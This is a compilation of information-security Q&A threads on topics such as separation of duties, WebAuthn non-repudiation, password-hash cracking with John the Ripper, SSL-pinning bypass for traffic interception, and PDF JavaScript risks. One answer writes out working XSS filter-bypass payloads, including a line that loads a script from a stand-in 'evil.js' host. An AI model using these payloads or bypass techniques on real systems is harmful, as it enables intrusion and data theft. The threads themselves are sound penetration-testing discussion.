Juggling bus factor & separation of duties on a small team? I am lead dev on a team of five people.  Only three are coders.  And only the coders are really technical enough to do a roll-out of our application to a production server.

Our app is pretty successful and we have attained some high profile clients.  These clients typically put us through pretty brutal security audits.  For the most part, we pass these audits.  But one area that trips us up is separation of duties.  e.g. They want one person/team to handle dev environments, while one person/team handles the production environments. And furthermore, sometimes they even want the person who does the work (like pushing to production) and who monitors/supervises/approves the work to be separate roles as well.

The problem with only having three tech people is that we can't keep our bus factor high while keeping our separation of duties that some clients require.

Thoughts? Solutions? Have you faced similar resource problems?

p.s.  Tried to tag this devops and bus-factor, but I don't have enough rep to create new tags.

I haven't personally had to make this decision, though I do work in an environment where such separation of duties is implemented.

Are you the owner of this business or are you working for someone else?

Reason I ask is because realistically this comes down to a business decision. (barring the obvious infosec perspective of - "SEPARATE ALL THE THINGS!")

To find the answer, you need to ask yourself/owner/CFO this question:

  Is the cost to add more employees to implement separation of duties
  less than the amount of business that will be lost to clients who
  require such, or can you raise the cost of the software sold to cover
  the salaries of more employees without losing additional business due
  to the price increase?

If so, then you can add more employees without putting yourself in the red, financially.


Using non standard port numbers Are there any security benefits to setting up the ports on your firewall to non-standard numbers?

For example, using port 15 for the SQL service, or 8443 for https.

If the port is accessible from the outside, it cuts down on the number of random scan: most of the simplest automated scanners will simply check the default port.

However, it can also induce a false sense of security: it doesn't provide any actual protection from anyone using a more sophisticated tool.

So, from a security point of view, it's useless. From an operational point of view, though, it can potentially create less log you'll have to dig through (and maybe make it easier on your authentication component).


2fa attestation object for non-repudiation I am reading on digital signatures:

  A valid digital signature gives a recipient reason to believe that the
  message was created by a known sender (authentication), that the
  sender cannot deny having sent the message (nonrepudiation), and that
  the message was not altered in transit (integrity).

I'm using for 2FA a hardware key (e.g. Yubikey, Key-id) to authenticate a user with Webauthn and also later require user's confirmation to take certain sensitive actions.

Question: if I store on the server the challenge and the AuthenticatorAttestationObject returned by the hardware key, can that serve for non-repudiation?

Rephrase: can the user claim that an action that required pressing the Yubikey button was not initiated by him, but was fabricated e.g. from server side?

Non-repudiation is much harder to achieve than some would have you believe. In general, a signature is tied to a key with a very high degree of confidence, but tying the key to a specific person and their intent is much harder. With WebAuthn though, you can't achieve any of this.

A signature is over specific data. For your goal you'd want that data to be something along the lines of "I [user] consent to the server performing [sensitive action] at time [time]". What you're actually getting though is something like "I am definitely the user known by [website] as [user]". Not terribly helpful, because as you pointed out, the user could just claim that the server performed a different action at a different time than the one he intended to authorize.

Even if you were able to solve that problem though, and you could get a signature for a statement authorizing a certain action at a certain time, the signature isn't really coming from the user, it's coming from software using the key. Problem is, the software is your software; they could just claim the JavaScript sent to them was modified to create a signature without their consent.

And of course, there's always the possibility of claiming "my key was stolen" or "that's not my key, it's a key that was fabricated by the server". In the end, it's really up to who a jury (or whomever you're trying to prove this to) believes is trustworthy.


unauthorized logging into my computer I ve been suspecting someone logging into my computer because a couple of times, during the user log on screen I saw "Signed in remotely from.."

The first timeIi saw some of my pictures copied on the desktop, the second time there were some folders opened when I logged in.
Today, it happened again and this time I was working at the computer. I was logged off out of nowhere, and when I tried to login I saw that someone else was already logged in.
After entering my password, I saw that Web Browser Pass View (which I have not installed on my computer!) was opened and someone tried to save a txt file in the Document folder. I disconnected the LAN cable immediately.

Of course, I changed my windows password a couple of times, but I leanred today that it didn't help.

Has this happened to anybody before? Any suggestions?

I'm running Windows 8.1 Enterprise.

It's high likely that your computer has been compromised, probably by a RAT which you caught by drive by download or email attachment. Unless you are a very technical person, I strongly advise the following:

Do a malware scan on the system because the attacker probably installed more malware after entering the system (Pro tip: Live boot a Linux system and mount your Windows disk to scan it externally because the attacker might have corrputed the antivirus software)
Backup your important data after removing corrupted files
Wipe the disk completely
Reinstall Windows

Also change all passwords you used on that system immediately, since you need to assume that the confidentiality of all sensible data is lost.

Also think about where you could have infected your PC in the past. This incident should have raised your awareness.


Session IDs number repeated under mac I have run a penetration test on a web server. To generate session IDs with this Bash script :

#! /bin/bash
NUMBEROFSESSIONS=3000
for i in $(seq 1 ${NUMBEROFSESSIONS})
do
curl -s -c cookie 'URL' 1> /dev/null # URL is the address of my server
cat cookie | grep HttpOnly >> sessionIDs.lst
done

When this test is run on a Linux machine, the session ID are not repeated, but on Mac I get some repeated IDs.

Does anyone know why?

To check for repeated IDs I do :

wc -l sessionIDs.lst; cat sessionIDs.lst | uniq |wc -l

It's difficult to tell the exact reason why, especially if it is a black-box test and you don't have access to the source code. Session generation and management should normally be handled on server-side, so the repetition in Mac, top of my mind, could mean one of two things.

It could be pure coincidence
The session id generation has dependency on client-side

The second could mean a flaw in generation of session id. You could do a thorough check on the scripts in the client-side to see if the client could indeed influence the session id.

For pentesting session ids, may I suggest to just do an entropy test. Recommended entropy is at least 128-bits. Judging from your script, you can easily send the http request to burp sequencer, and run an entropy test with 20,000 as sample size.


Giving malicious crawlers and scripts a hard time My webserver has been up for < 25 hours and has already been crawled for various default pages, just to name one /administrator/index.php.

I understand that this is very common and it's not really an issue for me, as I have secured the server in a decent manner.

For the following idea, let's assume I don't care about the resulting traffic.

What if I were to create a number of the most requested files, usually representing administrator interfaces or other attack vectors of a common website.

The file (e.g. /administrator/index.php) could look like the following:

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8">
    <title>/administrator/index.php</title>
  </head>

  <body>
    content ^1
  </body>
</html>

But for the actual body content, I just ram a couple of GB with random strings in there.

For example dd if=/dev/urandom bs=10M count=400 | base64 > /tmp/content and then wrap the above HTML tags around the file.

What would typical crawlers do on such an event?

You're hurting yourself.

The "attacker"/crawler... probably doesn't pay for their traffic or processing power (ie. they use a botnet, hijacked servers or at least are on a connection that doesn't make them pay for traffic), but you will be billed for traffic and CPU/storage/memory, or your server's hoster has a "fair usage" clause, under which your server's connection will be throttled or cut off if you serve Gigabytes of data on the short term, or your storage bandwidth will be reduced, or your CPU usage limited.

Also, why should anyone be so stupid to download Gigabytes of data when they're just looking for a specific page? Either, they're just looking for existence of that page, in which case the page's size won't matter, or they will definitely set both a timeout and a maximum size – no use waiting seconds for a server to complete a response if you've got hundreds of other servers to scan, and especially not when greylisting is a well-known technology to slow down attackers.


Is Bitlocker trustworthy? My question isn't about whether or not the encryption on Bitlocker works, but whether or not there has been any security audits about potential backdoors Microsoft may have installed. I don't have a lot of trust that Microsoft wouldn't install deliberate backdoors into their software like this. I know I saw some reports that the government requested Microsoft add backdoors, but I am not sure if anything like that went forward.

Any time you install software from a vendor or project you are placing trust in that vendor or project not to have placed malicious code in there and also to have done a reasonable job of securing it.

Some people may suggest that open source is the answer to this, but without repeatable builds and a full source code audit done by someone you trust, there's less benefit to this than you might think to ordinary users.

Like most things in security this comes down to your threat model.  If you don't trust Microsoft, then sure don't use their software.  Bitlocker frankly is the least of your worries.  if MS want to compromise you they can just trojan a security update (you do install security updates, right...)..  Of course this is true whatever OS and application software you use.  OSX, Apple can compromise you, Debian linux, the debian project can compromise you.

Realistically a better question is "is it likely that they want to"?


Company sending Master passwords in unencrypted emails If a company has terrible security policies like letting people email password in cleartext emails, what to do if they reject all fair minded advice?

Ridiculing them in a public fashion isn't necessarily the best approach.

  What can be done to help people who do inadvisable things but refuse fair minded advice?

Nothing.

You can show them the risks of what they are doing. You can calculate the cost of breaches because of these risks. You also have to compare them to the liklihood of a breach actually occurring. If they do nothing when you say it's going to cost $10,000 to recover from a breach that has a 67% chance of happening in the next six months, but it's only going to cost $2000 now to prevent it, there is really nothing you can do about it.

After a breach occurs they'll probably come back to you and ask to reevaluate their options, but that's an entirely different problem.


Can't recover IV from openssl output Reading other posts like this one give me the impression that the iv can be retrieved from an openssl enc output, and indeed, I see that under one circumstance, it works:
# These two commands print the same salt, key, and iv
openssl enc -aes-256-cbc -pass pass:MYPASSWORD -p -in foo_clear -out foo_enc
openssl enc -aes-256-cbc -pass pass:MYPASSWORD -d -P -in foo_enc

However, when I attempt to specify the iv by use of the -iv option, I cannot get it to work:
MY_IV=12345678901234567890123456789012
# These two commands print different iv's but the same salt and key
openssl enc -aes-256-cbc -iv $MY_IV -pass pass:MYPASSWORD -p -in foo_clear -out foo_enc
openssl enc -aes-256-cbc -pass pass:MYPASSWORD -d -P -in foo_enc

Why is the iv recoverable for the one circumstance but not the other?

In the question that you referenced, the accepted answer explains how to derive the iv (and key) from the the password - not how to derive the iv from the ciphertext produced by openssl enc.
The reason for this, and for the behavior that you observed, is that openssl enc does not store the iv with the ciphertext.  openssl enc derives the iv from the password, unless the iv is specified using the -iv option.
The first and second commands that you posted function as expected, because you did not specify the -iv options in these commands.  So openssl enc derived the iv from the password for both of these commands. The iv's for both commands were the same, because the passwords provided in both commands were the same.
In the third command, you specified the -iv option.  But, in the fourth command, you did not specify the iv option.  Therefore, for the fourth command, openssl enc derived the iv from the password, and of course this iv was different than the one that you specified in the third command.  For the fourth command to function correctly, you would need to specify the same iv that you used in the third command, using the -iv option.
For more information, see https://wiki.openssl.org/index.php/Enc
Also, the default key derivation method used by openssl enc is very weak, as noted in the question that you referenced.  For a stronger key derivation function, use the -pbkdf2 option.  See https://crypto.stackexchange.com/questions/3298/is-there-a-standard-for-openssl-interoperable-aes-encryption for how the salt is stored, and the key and iv are derived from the password when using the -pbkdf2 option.


School tracking applications with a school computer with school computers can the school track what apps you are using without being connected to that schools WiFi?

Yes it can, if the school installed a tracking program to its computer.


Can windows passwords be recovered from the windows pagefile? I was reading reasons for clearing page files on workstations with one reason listed is that passwords can be stored in the pagefile and therefore should be cleared upon reboot in the case of somebody compromising the computer physically.  So I am posing the question as it doesn't seem quite right.

I could argue that password and Kerberos functionality has little chance to written to the page file as there is no reason for the system to page a very important process, during a period where resources are available the most (login).  This would be a possible practical answer, but not ideal one.  The attacker could replace the computer RAM with a small amount prior to the theft.  I am wondering if this is possible under any circumstance.

If it can be compromised then would a domain situation be different?  The password would be processed on the server.

I think this journal paper answers your question -> http://iosrjournals.org/iosr-jce/papers/Vol16-issue2/Version-5/C016251116.pdf

However, if an attacker(A) has unrestrained physical access to the PC, he can cause a lot of damage.  If A is masquerading as a computer help person, A could easily break into computers, wipe the BIOS password and then boot off of a CD/USB to install malware into the boot sector on HDD/SSD in the computer.

A could also do a cold boot or soft boot attack on the RAM to get its contents, but A wouldn't switch two RAM pieces. Switching SSD's/HDD's would make sense since they both store data, but changing the RAM doesn't do anything really.

If the computer is able to be physically compromised, that means there is an egregious security flaw that needs to be fixed immediately.

It is good to wipe the pagefile.sys though as it does mitigate any possible information leak, and allows a network admin to possibly notice the infected computer before it messes with the network.


GPG encryption failed - Unusable public key I was trying to encrypt a file using a GPG public key.

It's working fine on my test server which is ubuntu 18.04 but when I try to use the same key on my production server (Amazon Linux) it failed to encrypt with a message

gpg: 40BXFE61: skipped: Unusable public key

There are other keys that are working fine, having problem with this key only.

I've already tried by trusting the keys (ultimate) and having expiry (Never).

Any suggestion or advice?

Thanks

My guess would be that you are trying to use an ECC key (or subkey). The version of gnupg that comes with Amazon Linux is too old to support ECC cryptography. If you look at the output of gpg --list-key 40BXFE61, you can check for any pub or sub entries that have cv25519 or nistp256 in them, e.g.:

pub   rsa4096/E63EDCA9329DD07E 2011-11-07 [SC]
      DE0E66E32F1FDD0902666B96E63EDCA9329DD07E
uid                 [ultimate] Konstantin Ryabitsev <konstantin@linuxfoundation.org>
sub   rsa4096/0BED129D9916360E 2015-11-02 [A]
sub   ed25519/B6C41CE35664996C 2018-02-09 [S]
sub   cv25519/86D203575A83079D 2018-05-02 [E]
sub   rsa2048/3FF293496E43D963 2018-05-02 [A]

GnuPG 2.0 and earlier only have support for RSA/DSA keys. Unfortunately, there isn't much you can do to support ECC keys on Amazon Linux, short of building gnupg-2.2+ on  your own.


PDF and embedded JavaScript We have completed a vulnerability and a penetration test. One feature of our application allows for documents to be uploaded, and we allow for PDF documents.

Prior to a document being accepted we scan for Virus and ensure the document is a valid PDF. All of this is fine.

A CVSS Risk of medium was assigned to this feature because we don't scan for embedded malicious Javascript, or as the report suggest "malicious code". Of course there is no definition of malicious JS code.

From reading adobe's documentation [1], it seems a reasonable effort is made to determine if the JS code is malicious.

My Questions:

Are the efforts from adobe[1] sufficient?
It is reasonable to expect us to block all PDF files with embedded JS?
There doesn't seem to be a lot of noise / chatter about embedded JS in PDF files, suggesting others don't see this an issue, would this be true to say?
If we dont scan for embedded JS, is it reasonable to be a CVSS score of medium?
What are the general use cases for embedded JS within PDF's. In case we block such PDF's a user will be prevented from uploading certain PDF files.
What is the worst someone can do with this embedded JS facility in PDF, we know the PDF JS is sandboxed from the Web Application so it is not XSS to the web application ?

[1] Adobe Documentation
https://www.adobe.com/devnet-docs/acrobatetk/tools/AppSec/javascript.html#javascript-invoked-urls

To start with, on the Adobe page you are linking to, it says:

  An untrusted document that tries to invoke an URL via JS displays the
  YMB by default. The user is given the option to trust the document for
  such actions via the Options button on the YMB.

In practice, this "effort" IMHO is next to useless, as PDFs would possibly circulate through your organization, and, one could imagine that there will always be one, more or less careless person, who presses the button. And that could mean opening pandora's box.

You need to understand that passing a PDF around which contains any malicious code is like passing a parcel around that contains a bomb. Even worse if copies get made. Bombs don't replicate, PDFs do. And we cannot tell when and where it may explode. So it's better not to want to let it in at all.

This then boils down to the question you are asking already, is it reasonable not to accept PDFs with embedded JS? If we are talking only CVs, my initial intuition would be: "Absolutely". I cannot see why a CV would need any interactivity in the document which would be the only use case for embedded JS, that I can think of. Typically, embedded JS can be used for PDFs which contain forms that can be filled in by the reader where one could choose from options for example.

That leaves you with the question of either scanning and rejecting PDFs with embedded JS code or to remove the embedded JS code during the scan procedure. The latter, is not really a technical or security question but there may or may not be legal aspects to that.


Session hijacking mitigation I would like to reduce the likelihood of session hijacking by implementing a cookie based token solution.

The idea is to generate a SHA256 hash based on client related information such as:

PHP

$_SERVER['HTTP_USER_AGENT']

JavaScript:

function gatherUserData(){
    return ["time_zone", (new Date()).getTimezoneOffset()/60, "history_length", history.length, "browser_name",
        navigator.appName, "browser_engine", navigator.product, "browser_language", navigator.language,
        "screen_width", screen.width, "screen_height", screen.height];
}

Whenever the client requests a page, I challenge his/her token by recalculating it.

I believe that it is very unlikely that a hacker would have all this information, and, even if he/she has it, would make it a bit harder.

Would it help preventing session hijacking?
Do you recommend any other techniques?

This would be effective against session hijacking. It would also log out users when they resize their browser window, or when they update their browser.

The best way to prevent session hijacking is to bind sessions to IP addresses. Furthermore, you should take action when you detect a hijacked session, so when two IP addresses are using the same session identifier.

In the future, you can prevent session hijacking by binding cookies to TLS connections using Token Binding over HTTP.

Edit: see Why aren't sessions exclusive to an IP address? for some disadvantages of binding sessions to IP addresses.


JTR is not cracking XP SAM password(s), why? I was trying the following commands

john --format=LM xpPassword.txt
john xpPassword.txt

to crack the following hash:

xpPassword.txt

Administrator:500:aad3b435b51404eeaad3b435b51404ee:15feae27e637cb98ffacdf0a840eeb4b:::
pentest:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

So after cracking process, JTR gave me this result:

Loaded 2 password hashes with no different salts (LM [DES 64/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
                 (pentest)
                 (Administrator)
2g 0:00:00:00 100% 2/3 6.451g/s 1141p/s 1141c/s 2283C/s 123456..MAGIC
Use the "--show" option to display all of the cracked passwords reliably
Session completed

But when I tried to see the password by using --show parameter as follows

john --show xpPassword.txt

JTR gave me just the hashes, not passwords, as can be seen in the following output.

Administrator::500:aad3b435b51404eeaad3b435b51404ee:15feae27e637cb98ffacdf0a840eeb4b:::
pentest::1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

2 password hashes cracked, 0 left

Although "2 password hashes cracked" is said, there is no any cracked password. What is the problem? Where is my fault?

It appears that John has cracked the Lan Manager (LM) hashes (the first parts) rather than the NT hashes (the second parts). As they are null in this case, there is nothing to crack and John has returned saying they are cracked.

You need to pass the --format=nt or --format=nt2 argument in order to crack the NT hashes.


Can wireless devices on the same WPA2-Personal secured network listen in on each other? Given that the devices connect to the same Access Point, obviously share the same password, and are in range to pick up each other's radio, could malicious software on one of my laptops, given sufficient low-level access to the WiFi hardware, decrypt the traffic from my other laptop?

Let me tackle the first part of the question with the basics. Each node in the network has it's own encryption key with the access point. This makes it not possible to simply decrypt everyone's traffic just by sharing the network.

But, is it possible to get the other node's traffic? Yes. There are a variety of ways. For instance, I could mimic the AP and force the other nodes to connect through my laptop. Then I see everyone's traffic in the clear.

I'm making some assumptions as to what your core question is, though.


Importing a self-signed certificate into Windows via the Microsoft Management Console First, I apologize if I mix my terminology up a bit in this post, I'm new to SSL.

I've created a CA and used it to self-sign an SSL certificate for a server I connect to. Now I need to import the CA's certificate into the trusted certification authority store of the Windows machine I use to connect to the server so I can connect to the server via SSL and do certificate validation. Using the Microsoft Management Console (MMC), I imported the CA's certificate into the Trusted Root Certification Authorities folder. I can now connect to the server via SSL and validate the server's certificate.

My question is whether this approach poses a security risk. By allowing a user-created CA into the Trusted Root Certification Authorities folder, am I configuring my machine to trust a certificate authority created by any user, or just the CA I created? Is there another, less scary-sounding folder I can/should import the certificate into? My thinking is that what I've done is tell Windows to trust certificates that were issued/can be traced back to the CA I created (i.e. my machine won't trust other user-created CAs, even other CAs created by me), but I want to confirm this.

Yes, you're right, only certificates signed with the CA certificate/key pair you've created (or with intermediate CAs signed, in turn, with your CA) would be trusted. Whether owner of a CA certificate added to TRCA folder (i.e. a certificate authority) is an organization, a person or whatever (and how she or he's related to other certificate authorities) is out of scope of the PKI. Take care of your private key related to the certificate, and everything will be alright.


Skype opens base64-encoded JavaScript. What does it do? I just came across a rather unusual problem, and I cannot figure out if it actually is a problem (or even security issue) or not. Upon opening Skype on MacOS, a popup window appears (multiple times, but with the exact same content), asking to choose an application for opening the following:

Decoding the base64-value reveals a JavaScript snippet inside a script tag, which leads me to believe that Skype is trying to open this script inside a browser. Here is the complete value, beautified for readability:

<script>
    (function() {
        function g(a) {
            var c, b;
            c = "";
            for (b = 0; b < a.length; b++) c += String.fromCharCode(a.charCodeAt(b) + 2 - b % 14);
            return c
        }

        function h(a) {
            d = a - k;
            k = a;
            if (!(350 < d))
                for (a = 0; a < b.length; a++) b[a] && b[a].postMessage && b[a].postMessage({
                    fps: 1E3 / d,
                    slot: e,
                    timeDelta: d || 0
                }, "*");
            window[g(f)](h)
        }
        var k = 0,
            d, b = [],
            e, f;
        f = "pdqvgvxFtpuj~tmmFscpi";
        window.addEventListener("message", function(a) {
            var c = a.data;
            c && c.slot && (a = a.source, -1 < b.indexOf(a) || (b.push(a), void 0 === e && (e = c.slot)))
        });
        window[g(f)](h)
    })();
</script>

I reverse engineered this Snippet a little bit. As far as I understand, it listens for the message event on the window object and then updates some values. It also repeatedly calls requestAnimationFrame, where the messages are posted from.

What is this code doing? Why is Skype trying to open it?

I started by renaming some variables to make things a bit more understandable:

    function obscurify(function_input) {
        var returnstring, local_counter;
        returnstring = "";
        for (local_counter = 0; local_counter < function_input.length; local_counter++)
        {
            returnstring += String.fromCharCode(function_input.charCodeAt(local_counter) + 2 - local_counter % 14);

        }

        return returnstring
    }

This is the first function, when we run the obscure string pdqvgvxFtpuj~tmmFscpi through it, we indeed receive the word requestAnimationFrame as demonstrated in this bin (alertbox ahead).

The h() function bothered me for a bit, so I started looking around for reasons people use the requestanimationframe function.

That's when I found this page:

  Limiting the frame rate while using requestAnimationFrame can be a
  common want especially when coding Games where you want your
  animations and mechanics to not exceed a particular mark of frames per
  second. Let’s go through 2 ways of doing it.

The first way the author describes is through setTimeOut, but then he writes this:

  Ok, browsers cannot optimize setTimeout or setInterval. So it’s kinda
  better to do our own calculations and restrict the frame rate. Let’s
  see how.

And then he proceeds with the following code:

var fps = 30;
var now;
var then = Date.now();
var interval = 1000/fps;
var delta;

function draw() {

    requestAnimationFrame(draw);

    now = Date.now();
    delta = now - then;

    if (delta > interval) {
        // update time stuffs

        // Just `then = now` is not enough.
        // Lets say we set fps at 10 which means
        // each frame must take 100ms
        // Now frame executes in 16ms (60fps) so
        // the loop iterates 7 times (16*7 = 112ms) until
        // delta > interval === true
        // Eventually this lowers down the FPS as
        // 112*10 = 1120ms (NOT 1000ms).
        // So we have to get rid of that extra 12ms
        // by subtracting delta (112) % interval (100).
        // Hope that makes sense.

        then = now - (delta % interval);

        // ... Code for Drawing the Frame ...
    }
}

draw();

Which does look a lot like the calculations that are being done in our code.

But why does this show up in Skype without me doing anything?

Because browsers and Javascript are literally everywhere.
I just started Skype and it didn't give me an error, but it's showing me ads.
My gut tells me the embedded browser that loads the ad has no handler for data URL's in your case, which is why Skype appears to give that error.

The code is really just adding an eventhandler, and making sure FPS isn't broken every time the event is called. (Switching between ads, make ads run smoothly, make loading icon run smoothly,...)

If ads exceed or go below their display time on 1 000 000, 30-second impressions, a 10 ms difference can scale incredibly fast and thus give your advertisers less or more displaytime than they pay for.

But why is it obscure?

As per @dandavis comment, there indeed is no appearant reason to obfuscate this code, it's available freely on the internet (like i linked above).
However, the same embedded browser that is executing this code, might as well host a login frame for example.

We're not going to rewrite a handler for both obscure and non-obscure code when it's much easier and less bug prone to just run all code through an obfuscator if we need it once.

Chances are likely to me that the reason this is obfuscated is just a General Rule: Obfuscate all JS Code.


What should be included in a jump bag and how often should it be reviewed? What items should be included in a jump bag? How often do you review your jump bag?

Often we use field visits for information gathering and/or equipment seizing.  So a lot of the papers and cheatsheats will be left back in the lab.  We also have an old laptop set up that is kept on the shelf, but used entirely for field work.  It is, however, not normally kept in the jump bag.

My bag specifically contains:

Several Network Cables (straight through, loopback)
Serial cable with serial->USB adapter
Juniper and Cisco serial adapters
Hard drives (various sizes)
Flash drive
Backtrack LiveDVD
Logicube-MD5 (portable drive duplicator with write-blocker)
Various drive interface adapters
Handheld label printer
4 port hub
Digital camera
Cable ties
Cable snips
Assorted screw and hex drivers
Notebooks and pens
Chain of Custody forms
Incident Handling Procedure
Business cards for all members of the team

We will also grab any other oddities as necessary for specific cases not covered above.

A review of the bag contents doesn't happen often enough. There is typically a spot check at each use, though this is largely to determine if there are any unusual items needed for this specific event.  In practice, the contents get reviewed along with the rest of the lab at year end when we do equipment refresh.


How difficult is it to intercept the POST response body when SSL is used? For an Android application that is performing POST requests (JSON) over SSL and receiving a JSON object as a response, how difficult is it to get the JSON response?

Is the easiest way to decompile the application to get the request and send it and see what the response is?

What is the easiest way, and what are some techniques that can be used to make it more difficult?

It all depends on the application itself and what kind of security measures are implemented. Assuming requests are sent over HTTP(s), then the easiest way is to use a proxy such as Burp. You will need to install a CA certificate on your mobile device. You'll be able to see requests & responses in the proxy software (Burp).

APP <----> proxy <----> server

If the application is using SSL/TLS pinning, then the above solution will not work out of the box. Some function(s) will perform additional checks on the certificate, you will need to tamper such function(s) in order to bypass it. Generally there are two ways:

Patch the application in order to remove the SSL/TLS pinning. This usually requires unpacking, editing, repacking and resigning the app. Quite tiresome if you ask me.
Hook the SSL/TLS pinning logic and disable such logic. Frida is a pretty cool tool for this (multi platform), Substrate on iOS and xposed on Android.

A second solution is to not use a proxy at all! Usually an HTTP client library is being used to perform such requests. You can hook HTTP request functions and print the content directly.

APP <----> server
^-> hooked functions which prints the requests

The second solution can be useful when the app is not using standard HTTP requests. Some apps use binary protocols such a gRPC, it would be easier to hook the myclient_post(jsonData) function and print the parameters + response, than reverse engineer the binary protocol, setup a proxy etc...

Some links which might be useful:

Install burp CA on Android: https://support.portswigger.net/customer/portal/articles/1841102-installing-burp-s-ca-certificate-in-an-android-device
Install burp CA on iOS: https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device
Android xposed module that bypasses some standard TLS/SSL pinning logic: https://github.com/Fuzion24/JustTrustMe
Same as above but for iOS using Cydia substrate: https://github.com/nabla-c0d3/ssl-kill-switch2
Frida: https://frida.re/, code snippets: https://codeshare.frida.re/, android ssl bypass: https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/, ios ssl bypass: https://codeshare.frida.re/@dki/ios10-ssl-bypass/
Certificate pinning explained: https://www.owasp.org/index.php/Certificate_and_Public_Key_Pinning
When you get into advanced scenarios: https://github.com/federicodotta/Brida (a bridge between Frida and Burp)


Terminate a javascript without "continuous" < and / So I am testing a website and found out I can inject most characters, here is what I have found:

" is always escaped with \"
< and > are not escaped
Interestingly, / is only escaped with / if < and / are put together. In other words, if I have < / instead of </, the / won't be escaped. Note I have put a space in between.

I am in the try to close an opened  tag. Obviously using  won't work since it will be escaped as </script>. I've tried < /script> which does not seem to work. I just wonder if there is any way that can let me terminate the script?

In much more complex cases I personally like to collect all experimental results (like you did) which I found through manual testing, sit down and try to implement such filtering locally and try to bypass it with different browsers and browser versions. Additionally you need to know in which programming language was written this web application - it might be useful because it would give already an idea which filtering functions or frameworks were (probably) used. Here I already might get an idea how to bypass it.

Here is a small PHP script where I try to reconstruct given scenario:

<?php

$t = $_GET["t"] ?? "";

function filter($input) {
    $input = addslashes($input);
    $input = str_replace("</", "<\/", $input);
    return $input;
}

echo filter($t);

?>

So addslashes() additionally filters nullbyte, ' and \. So I have even more restrictions than given.

I assume that singlequotes are filtered too (e.g. in PHP you need to set explicitly the flag ENT_QUOTES to escape singlequotes in function htmlspecialchars() but on the other hand addslashes() escapes both singlequotes and doublequotes), but if not it's then even easier to exploit.

Now, instead of using:
you could simply use:  or <svg/onload=alert(42)>
(you could import JS script like this: appendChild(createElement('script')).src='host/evil.js')

Here we completely avoid </.

Tested on Firefox 68.0.1 (64-Bit).

Now if we are in the case <someHtmlTag> FILTERED USER INPUT HERE </someHtmlTag>:

<?php

$t = $_GET["t"] ?? "";

function filter($input) {
    $input = addslashes($input);
    $input = str_replace("</", "<\/", $input);
    return $input;
}

echo "<someHtmlTag>".filter($t)."</someHtmlTag>";

?>

It will still work if we have something like
<?php echo filter($_GET["input"]); ?>
. You will get:

 and XSS will work. If we have , then you could just put your JS code without any html tags at all and it will work too.

On the other hand if you have something like <?php echo filter($_GET["input"]); ?>, then it would create indeed a problem since we are forced to break out of  with  by using </ (and we cannot since it is filtered). Similar problem would occur if your user input will be put inside noscript tags: <?php echo filter($_GET["input"]); ?>. Such special cases I would consider as probably unexploitable but there still might be ways to bypass it by using e.g. some browser bugs.

It is still worth trying to use double URL encoding (%253c = <) or to use hex encoding (\x3c = <) or to use multibyte characters.

I got NO alert box (user input = ) for following html tags where we have:<htmlTag><?php echo filter($_GET["xss"]); ?></htmlTag>, where htmlTag is:

title
textarea
template (needs to be activated and get your XSS)
select (exploitable with input=<option value=42 onclick=alert(42);>a and get your XSS)
noframes
iframe
frameset (exploitable with input=<frame src=javascript:alert(42);> and get your XSS)
noscript
style (we can put our own CSS here and steal CSRF tokens)
script (we can directly put JS code here and we have XSS)

So I will consider cases like <title> FILTERED USER INPUT </title> unexploitable because you can't bypass </ because it gets converted to <\/. (Input like foo.php?xss=<\/ will be changed to <\\/ and make it useless too).

It still might be somehow exploitable by so called mutated XSS where browser fixes manually some broken HTML and introduces a bypass to some filter mechanisms. But I didn't test it further.

Browser HTML mutation example (without using additional JS libraries):

http://localhost/t.php?w=template&t=<template title=""

Server returns this HTML code: <template><template title=\"<\/noscript>\"</template>

And my browser Firefox 68.0.1 (64-Bit) creates this:

As you can see here my browser sees that <template> tag isn't closed properly and closes it with </template> (so it bypasses the </ server side filtering mechanism because it happens in the browser on the client side) by himself, so we get a <template> inside another <template> tag.

Further reading:

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet (several methods how to bypass certain filters)
https://www.lifewire.com/html-singleton-tags-3468620 (here is a list of several HTML tags where you don't need closing tags (and don't forget about svg tag))
Fuzzing Browsers for weird XSS Vectors (LiveOverflow)
Huge list with different exploitation methods: https://html5sec.org/


Is it possible for a database to be impenetrable? I was wondering if it is possible to create some sort of database that is physically impossible to enter. While creating it, you store some information in it and program it to spit that information after a period of time. But not even you can access it even if you wanted to, you have no choice but to wait.

Security is complex, it's not just a matter of setting a timer and you'll be sure nobody can access the information in advance.

Even if your code was completely secure, your code runs on a server that might have some vulnerabilities. There might be vulnerabilities or weaknesses in the web server (Apache, Nginx, etc.), in the database software (MySQL, MariaDB, etc.), in the OS (Linux, Windows, etc.) in the machine (Intel, AMD, etc.), in your physical environment (your hosting provider's facilities or wherever you keep your servers, etc.), etc.

So yes, you can write a perfectly secure line of code that does what you want, or you can write a perfectly secure piece of software if you are skilled enough, but you won't have full control over the whole infrastructure and environment. That's why you can never really say you are "impenetrable", unfortunately.


What is the correct way to create a backup copy of a PGP key pair? I am using GnuPG 2.2.20 to create my key pair.
I have successfully created a key pair, now I want to create a backup copy in case of HDD failure.
Following the instruction here, I have tried
gpg --output backupkeys.pgp --armor --export-secret-keys --export-options export-backup MYEMAIL@MYDOMAIN.com
but only the private key is exported.
So for now I have:

Exported the private key

gpg --export-secret-keys --armor MYEMAIL@MYDOMAIN > private.asc

Exported the public key

gpg --export --armor MYEMAIL@MYDOMAIN > public.asc
Questions:

What is the correct command to backup my key pair?

Where should I keep the backup? Since the private key is in plain text, should I further encrypt it with a password of mine?

What is the correct command to backup my key pair?

You got it right. Exporting the secret key does export the key pair. The PGP private key includes the public key. Just as @raffaem said in his comment.
Also, in regards to the actual key data itself, an RSA or ECC public key can be derived from its corresponding private key.

Where should I keep the backup? Since the private key is in plain text, should I further encrypt it with a password of mine?

You should always encrypt these backups. But you don't need to "further encrypt" anything. GPG will do password-based encryption for you. That's why gpg asks you for a password when it exports the private key. The private key is only exported as plaintext if you chose to enter a blank password (viz. not enter a password).

[From the comments] When I exported the private key, it asked for the password. So I thought that the key was decrypted with the password and then exported. If the key is exported encrypted with the password, why it is asking me the password to export it in the first place?

